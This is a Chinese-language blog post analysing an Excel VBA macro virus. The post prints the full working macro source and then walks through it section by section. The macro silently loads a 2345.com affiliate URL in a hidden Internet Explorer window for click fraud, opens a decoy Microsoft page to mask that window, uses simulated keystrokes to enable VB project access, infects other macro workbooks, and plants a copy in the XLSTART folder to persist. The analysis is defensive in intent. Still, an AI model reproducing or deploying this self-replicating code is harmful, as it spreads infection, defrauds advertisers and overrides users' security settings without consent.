暗刷2345流量宏病毒分析

这个样本是好久之前分析的了，今天在整理文档的时候翻到了，正好发出来

该病毒运行后会利用iexplore.exe隐藏访问带有推广计费2345进行暗刷流量，并且还会感染其他Excel工作簿文件。

宏代码如下：

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private WithEvents app As Application
Attribute app.VB_VarHelpID = -1
Sub authorization()
Application.DisplayAlerts = False
On Error Resume Next
Set pro = GetObject("winmgmts:\\.").instancesof("Win32_Process")
boo = 0
For Each ps In pro
If ps.Name = "iexplore.exe" Then boo = 1
Next
If boo = 0 Then
    Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & "https://products.office.com/zh-CN/"
End If
StartURL = "https://www.2345.com/?k54067673"
Set wd = CreateObject("word.application")
For Each w In wd.Tasks
    If w.Name Like "*2345*" Then
    wd.Quit
    Exit Sub
    End If
Next
wd.Quit
Set ie = CreateObject("InternetExplorer.Application")
ie.Visible = False
ie.navigate StartURL
End Sub
Sub runtimer()
Application.OnTime Now + TimeValue("00:00:01"), "thisworkbook.p2dd"
End Sub
Sub authorize()
Application.OnTime Now + TimeValue("00:01:01"), "thisworkbook.authorization"
End Sub
Private Sub p2dd()
Application.DisplayAlerts = False
On Error Resume Next
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%(qtmstv){ENTER}"
DoEvents
End If
    If ActiveWorkbook.FileFormat = 52 Or ActiveWorkbook.FileFormat = 56 Then
        If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("update", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("boosting", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("person", 1, 1, 10, 1, False, False) = True Then
        k = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, k
        End If
   Dim WBstr$, Wb As Workbook
    With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
        For i = 1 To 100 '.CountOfLines
            WBstr = WBstr & .Lines(i, 1) & Chr(10)
        Next
    End With
    If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 Then
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Call d2p"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "Call authorize"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "End Sub"
    End If
    End If
End Sub
Private Sub d2p()
Dim pth As String
Dim WBstr$, Wb As Workbook
Application.DisplayAlerts = False
On Error Resume Next
pth1 = Application.StartupPath & "\authorization.xls"
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%(qtmstv){ENTER}"
DoEvents
End If
If Dir(pth1) = "" Then
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number <> 1004 Then
    Workbooks.Add.SaveAs Filename:=pth1, FileFormat:=18
End If
    Set Wb = Workbooks.Open(pth1)
        With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
        For i = 1 To 100 '.CountOfLines 100
            WBstr = WBstr & .Lines(i, 1) & Chr(10)
        Next
    End With
    If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 And ActiveWorkbook.Name = "authorization.xls" Then
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Set App = Application"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "End Sub"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "Private Sub App_WorkbookOpen(ByVal Wb As Workbook)"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 154, "Call runtimer"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 155, "Call authorize"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 156, "End Sub"
    End If
    ActiveWorkbook.IsAddin = True
    Wb.Save
    Wb.Close
    End If
Workbooks.Open (pth1)
End Sub


Sub Workbook_Open()
Set app = Application
End Sub
Private Sub App_WorkbookOpen(ByVal Wb As Workbook)
Call runtimer
Call authorize
End Sub

根据整体宏代码，一部分一部分进行分析

首先看隐藏iexplore.exe访问带有推广计费2345进行暗刷流量部分

为了提高隐蔽性，暗刷流量之前会检测iexplore.exe是否存在，如果不存在会启动微软官方界面，让用户误以为iexplore.exe进程和刚刚被启动的浏览器有关，实际已经开始访问2345推广计费页面

Sub authorization()
Application.DisplayAlerts = False
On Error Resume Next
Set pro = GetObject("winmgmts:\\.").instancesof("Win32_Process")
boo = 0
For Each ps In pro
If ps.Name = "iexplore.exe" Then boo = 1
Next
If boo = 0 Then
    Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & "https://products.office.com/zh-CN/"
End If
StartURL = "https://www.2345.com/?k54067673"
Set wd = CreateObject("word.application")
For Each w In wd.Tasks
    If w.Name Like "*2345*" Then
    wd.Quit
    Exit Sub
    End If
Next
wd.Quit
Set ie = CreateObject("InternetExplorer.Application")
ie.Visible = False
ie.navigate StartURL
End Sub

下图是将显示窗体设置为true，之前弹出两个ie页面

在这里插入图片描述

第二部分，感染宏文档

在启动Excel文件时，首先如果触发错误后弹出"信任中心界面"，'勾选"信任对VB项目的访问，然后判断Excel格式，52和56都是带宏的Excel格式。成立则在ThisWorkbook宏的1-10行中找"update"、“boosting”、“person”，如果存在一项则删除所有宏代码。然后病毒将XLSTART目录下文件宏代码的前100行复制到文件中，并在末尾添加"Sub Workbook_Open()"、“Call d2p”、“Call authorize”、"End Sub"代码。

Private Sub p2dd()
Application.DisplayAlerts = False
On Error Resume Next
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%(qtmstv){ENTER}"
DoEvents
End If
    If ActiveWorkbook.FileFormat = 52 Or ActiveWorkbook.FileFormat = 56 Then
        If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("update", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("boosting", 1, 1, 10, 1, False, False) = True Or ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.Find("person", 1, 1, 10, 1, False, False) = True Then
        k = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.DeleteLines 1, k
        End If
   Dim WBstr$, Wb As Workbook
    With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
        For i = 1 To 100 '.CountOfLines
            WBstr = WBstr & .Lines(i, 1) & Chr(10)
        Next
    End With
    If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 Then
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Call d2p"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "Call authorize"
        ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "End Sub"
    End If
    End If
End Sub

创建一个带update的宏文件

在这里插入图片描述

运行宏文档，发现已经被改写

在这里插入图片描述
且文件退出时有提示是否对文件更改，点击保存宏就会被改变成病毒中的宏代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CmEVQjCM-1583846906176)(D:\项目\病毒分析\暗刷流量宏病毒分析\pic\6.png)]

下面代码主要功能为创建authorization.xls宏模板到XLSTART目录下，该文件中同样存在功能一致的宏病毒。

Private Sub d2p()
Dim pth As String
Dim WBstr$, Wb As Workbook
Application.DisplayAlerts = False
On Error Resume Next
pth1 = Application.StartupPath & "\authorization.xls"
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%(qtmstv){ENTER}"
DoEvents
End If
If Dir(pth1) = "" Then
Debug.Print ThisWorkbook.VBProject.VBComponents("ThisWorkbook")
If Err.Number <> 1004 Then
    Workbooks.Add.SaveAs Filename:=pth1, FileFormat:=18
End If
    Set Wb = Workbooks.Open(pth1)
        With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
        For i = 1 To 100 '.CountOfLines 100
            WBstr = WBstr & .Lines(i, 1) & Chr(10)
        Next
    End With
    If ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.CountOfLines = 0 And ActiveWorkbook.Name = "authorization.xls" Then
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, WBstr
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 150, "Sub Workbook_Open()"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 151, "Set App = Application"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 152, "End Sub"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 153, "Private Sub App_WorkbookOpen(ByVal Wb As Workbook)"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 154, "Call runtimer"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 155, "Call authorize"
    ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 156, "End Sub"
    End If
    ActiveWorkbook.IsAddin = True
    Wb.Save
    Wb.Close
    End If
Workbooks.Open (pth1)
End Sub

再之后使用宏时，都会有此病毒宏模板可以加载

在这里插入图片描述

这就是这个宏病毒的大致分析

暗刷2345流量宏病毒分析

猜你喜欢